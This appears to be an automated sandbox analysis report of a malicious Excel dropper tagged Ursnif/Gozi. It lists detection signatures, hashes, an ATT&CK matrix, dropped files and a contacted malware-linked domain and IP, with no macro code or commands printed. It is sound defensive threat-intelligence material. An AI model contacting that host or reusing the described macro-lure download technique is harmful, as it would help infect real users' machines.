Play interactive tour
Edit tourAnalysis Report document-1393356833.xls
Overview
General Information
| Sample Name: | document-1393356833.xls |
| Analysis ID: | 324294 |
| MD5: | 14868edc4a5e024fa9fa4099bfb9010e |
| SHA1: | 08c9a8b1663d6e02aa5265de51059ba6e17c5507 |
| SHA256: | 448f1e86e4e8da6517e19da9f23577c5a84dd4f185049e74ab8c5becf571cd2f |
| Tags: | goziSilentBuilderursnifxls |
Most interesting Screenshot:  | |
Detection
Hidden Macro 4.0
| Score: | 80 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found obfuscated Excel 4.0 Macro
Sigma detected: Microsoft Office Product Spawning Windows Shell
Yara detected hidden Macro 4.0 in Excel
Allocates a big amount of memory (probably used for heap spraying)
Document contains embedded VBA macros
IP address seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Yara signature match
Classification
Startup |
|---|
|
Malware Configuration |
|---|
| No configs have been found |
|---|
Yara Overview |
|---|
Initial Sample |
|---|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| SUSP_Excel4Macro_AutoOpen | Detects Excel4 macro use with auto open / close | John Lambert @JohnLaTwC |
| |
| JoeSecurity_HiddenMacro | Yara detected hidden Macro 4.0 in Excel | Joe Security |
Sigma Overview |
|---|
System Summary: |   |
|---|
| Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources | ||
| Source: | Author: Michael Haag, Florian Roth, Markus Neis: | ||
Signature Overview |
|---|
Click to jump to signature section
Show All Signature Results
AV Detection: | |
|---|
| Multi AV Scanner detection for submitted file | Show sources | ||
| Source: | Virustotal: | Perma Link | ||
Software Vulnerabilities: | |
|---|
| Document exploit detected (UrlDownloadToFile) | Show sources | ||
| Source: | Section loaded: | ||
| Document exploit detected (process start blacklist hit) | Show sources | ||
| Source: | Process created: | ||
| Source: | Memory has grown: | ||
| Source: | DNS query: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | IP Address: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
System Summary: | |
|---|
| Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Found Excel 4.0 Macro with suspicious formulas | Show sources | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Found obfuscated Excel 4.0 Macro | Show sources | ||
| Source: | Initial sample: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | Section loaded: | ||
| Source: | Matched rule: | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | OLE indicator, Workbook stream: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | ||
| Source: | Virustotal: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Window detected: | ||
| Source: | Key opened: | ||
| Source: | File opened: | ||
| Source: | Process created: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
HIPS / PFW / Operating System Protection Evasion: | |
|---|
| Yara detected hidden Macro 4.0 in Excel | Show sources | ||
| Source: | File source: | ||
Mitre Att&ck Matrix |
|---|
| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Valid Accounts | Scripting21 | DLL Side-Loading1 | Process Injection1 | Masquerading1 | OS Credential Dumping | Security Software Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Encrypted Channel2 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
| Default Accounts | Exploitation for Client Execution23 | Boot or Logon Initialization Scripts | DLL Side-Loading1 | Disable or Modify Tools1 | LSASS Memory | File and Directory Discovery1 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Non-Application Layer Protocol1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
| Domain Accounts | At (Linux) | Logon Script (Windows) | Extra Window Memory Injection1 | Process Injection1 | Security Account Manager | System Information Discovery2 | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Application Layer Protocol2 | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
| Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Scripting21 | NTDS | System Network Configuration Discovery | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud | |
| Cloud Accounts | Cron | Network Logon Script | Network Logon Script | Regsvr321 | LSA Secrets | Remote System Discovery | SSH | Keylogging | Data Transfer Size Limits | Fallback Channels | Manipulate Device Communication | Manipulate App Store Rankings or Ratings | |
| Replication Through Removable Media | Launchd | Rc.common | Rc.common | DLL Side-Loading1 | Cached Domain Credentials | System Owner/User Discovery | VNC | GUI Input Capture | Exfiltration Over C2 Channel | Multiband Communication | Jamming or Denial of Service | Abuse Accessibility Features | |
| External Remote Services | Scheduled Task | Startup Items | Startup Items | Extra Window Memory Injection1 | DCSync | Network Sniffing | Windows Remote Management | Web Portal Capture | Exfiltration Over Alternative Protocol | Commonly Used Port | Rogue Wi-Fi Access Points | Data Encrypted for Impact |
Behavior Graph |
|---|
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetScreenshots |
|---|
Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
|---|
Initial Sample |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 34% | Virustotal | Browse | ||
| 11% | Metadefender | Browse | ||
| 4% | ReversingLabs | Document-Word.Trojan.Heuristic |
Dropped Files |
|---|
| No Antivirus matches |
|---|
Unpacked PE Files |
|---|
| No Antivirus matches |
|---|
Domains |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 1% | Virustotal | Browse |
URLs |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe |
Domains and IPs |
|---|
Contacted Domains |
|---|
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| dtmh.gr | 78.46.235.88 | true | false |
| unknown |
URLs from Memory and Binaries |
|---|
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high |
Contacted IPs |
|---|
General Information |
|---|
| Joe Sandbox Version: | 31.0.0 Red Diamond |
| Analysis ID: | 324294 |
| Start date: | 29.11.2020 |
| Start time: | 04:00:42 |
| Joe Sandbox Product: | CloudBasic |
| Overall analysis duration: | 0h 4m 47s |
| Hypervisor based Inspection enabled: | false |
| Report type: | light |
| Sample file name: | document-1393356833.xls |
| Cookbook file name: | defaultwindowsofficecookbook.jbs |
| Analysis system description: | Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211 |
| Run name: | Potential for more IOCs and behavior |
| Number of analysed new started processes analysed: | 26 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal80.expl.evad.winXLS@3/6@1/2 |
| EGA Information: | Failed |
| HDC Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
| Warnings: | Show All
|
Simulations |
|---|
Behavior and APIs |
|---|
| No simulations |
|---|
Joe Sandbox View / Context |
|---|
IPs |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 78.46.235.88 | Get hash | malicious | Browse | ||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse |
Domains |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| dtmh.gr | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
ASN |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| HETZNER-ASDE | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
JA3 Fingerprints |
|---|
| No context |
|---|
Dropped Files |
|---|
| No context |
|---|
Created / dropped Files |
|---|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 129952 |
| Entropy (8bit): | 5.378316776058371 |
| Encrypted: | false |
| SSDEEP: | 1536:7cQceNWiA3gZwLpQ9DQW+zAUH34ZldpKWXboOilXPErLL8TT:pmQ9DQW+zBX8u |
| MD5: | C707A4A66B95209FC52FEC506DB56991 |
| SHA1: | EA0415F1219D91FF2B06B376EFBD4A433C7EF8C6 |
| SHA-256: | 1649544A224FA7272C83429D810EB1D7DE1A97057C78EBF6B61E6A0DA3622117 |
| SHA-512: | B4FE445A3F268D458240BF7E36DC41C1CD982A0F8A159395D63B46BF62F8078FF1015C63C6B69A121DFC332B209026BC90265CEE70279B812EFC58F110F02600 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 314884 |
| Entropy (8bit): | 7.9855655553931975 |
| Encrypted: | false |
| SSDEEP: | 6144:mB+mBrFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MK:nmBFPM8R3AsB+bjej/9cV |
| MD5: | 251F74FB109E447C29FDB74292A6A20E |
| SHA1: | CEE381B78561093C1077A786CEBDBA55F458C624 |
| SHA-256: | A633E4025DED3D5678F620FA5411D7697A669892DBF777169C036DC97E4D1402 |
| SHA-512: | 94140A6F66DF5F8D83E5CDF7BA64A8D3FA8337D87FBA51F198817E4D3322DC5E7ADF80BD0F86B23455DAD89C57F5FD776D70E92D07C3900195AAC53068180ED0 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 904 |
| Entropy (8bit): | 4.640645030565382 |
| Encrypted: | false |
| SSDEEP: | 12:8jPocXUl8uElPCH2YgYoXr1YBh+Ru+WrjAZ/2bDqyLC5Lu4t2Y+xIBjKZm:8jAPgn3MAZiDqb87aB6m |
| MD5: | 230B3A9AC093E07F5CA7F906B47D0069 |
| SHA1: | 73CC7E4D1800CDAF5AD1E702261983C07B25338C |
| SHA-256: | ED08F92458949830247891AEBFA889B77A14CBDA12D4458275E2238109118CC4 |
| SHA-512: | D0EF43C570B3B26F5DA590F65F23E801AEEAF9E6CE22852485FA6DF8ABB474F46E993F71CB79E539736CA50819861C5B642105067E0494EE5ED1E97B421627AA |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 4400 |
| Entropy (8bit): | 4.664540957548368 |
| Encrypted: | false |
| SSDEEP: | 96:87MqznFvK7MqznFvK7EqznFvK7EqznFv:87MqzI7MqzI7EqzI7Eqz |
| MD5: | 8FA61362848D45D40010188341E58318 |
| SHA1: | 3BC5A546BE36AA3B343308DE86E1057E59379F60 |
| SHA-256: | BC9111E5E1DFC88057AA2DB0981D61092267F889D68D73E184EFCED8D823D05D |
| SHA-512: | 3F1E21118DCA747F5E814E38C26AC3065B50FC7E8C40AF052B358059A425770548B9E5457F3465C803B6F2EED0755436CB6643DDB98ED696499E23E5501CE321 |
| Malicious: | true |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | modified |
| Size (bytes): | 260 |
| Entropy (8bit): | 4.685980354714533 |
| Encrypted: | false |
| SSDEEP: | 6:dj6Y9LMbELMhY9LMbELMhY9LMbELMhY9LMl:dmjFhjFhjFhjl |
| MD5: | 12DBE158F250BB35A42DE1C5801AE8B0 |
| SHA1: | B2F0E0D5D02CF0FDF678D3608A1F112409D519AE |
| SHA-256: | 5040EE137C9612EC3400250C84EE3F42B62F648EA1ECCEB5AC3CC743A811C8F3 |
| SHA-512: | BA3887DB8C854CC4DA1E041D507A01D51A5AA05EFEB4C63F9920EA719CDA15AB63B69865CC01B7BB2B75B3FD477C0BED1FDE8A9A674142A2F60A1D2F5E11EEC9 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 401455 |
| Entropy (8bit): | 7.18061406656571 |
| Encrypted: | false |
| SSDEEP: | 6144:DcKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdM:mizo8RnsIROnr6n75YCi |
| MD5: | 3ED52EC2DA6D16C98377D7673DEDB574 |
| SHA1: | 0A1095F9D8718B9590471F2478725415AC005C8C |
| SHA-256: | 420085D63AA76CD271F3498C4E691625B9C57C1E3D4AF34845C4AFC5BC017F91 |
| SHA-512: | 185FBB2C02A7D2283C03163512CC79292FF2BCD10745E775767CF580D4F7803E472D4981FBE93703C7B0FE34E3092CF89D6F0E866664603ABDA498CF48F8A0C0 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
Static File Info |
|---|
General | |
|---|---|
| File type: | |
| Entropy (8bit): | 7.519773831614413 |
| TrID: |
|
| File name: | document-1393356833.xls |
| File size: | 339968 |
| MD5: | 14868edc4a5e024fa9fa4099bfb9010e |
| SHA1: | 08c9a8b1663d6e02aa5265de51059ba6e17c5507 |
| SHA256: | 448f1e86e4e8da6517e19da9f23577c5a84dd4f185049e74ab8c5becf571cd2f |
| SHA512: | 5f28b8ff29d387475df2eb13fdff7170cd6988b4513460b0168cb03320a8075a3bda0d2a9b9d6d368cd69610dcc4701cc4539511a04bd200f64fd2bd6896ba47 |
| SSDEEP: | 6144:WcKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpTv:7izo8RnsIROnr6n75YL |
| File Content Preview: | ........................>...................................................................................................................................................................................................................................... |
File Icon |
|---|
 | |
| Icon Hash: | 74ecd4c6c3c6c4d8 |
Static OLE Info |
|---|
General | ||
|---|---|---|
| Document Type: | OLE | |
| Number of OLE Files: | 1 | |
OLE File "document-1393356833.xls" |
|---|
Indicators | |
|---|---|
| Has Summary Info: | True |
| Application Name: | Microsoft Excel |
| Encrypted Document: | False |
| Contains Word Document Stream: | False |
| Contains Workbook/Book Stream: | True |
| Contains PowerPoint Document Stream: | False |
| Contains Visio Document Stream: | False |
| Contains ObjectPool Stream: | |
| Flash Objects Count: | |
| Contains VBA Macros: | True |
Summary | |
|---|---|
| Code Page: | 1251 |
| Author: | |
| Last Saved By: | |
| Create Time: | 2006-09-16 00:00:00 |
| Last Saved Time: | 2020-11-26 09:47:56 |
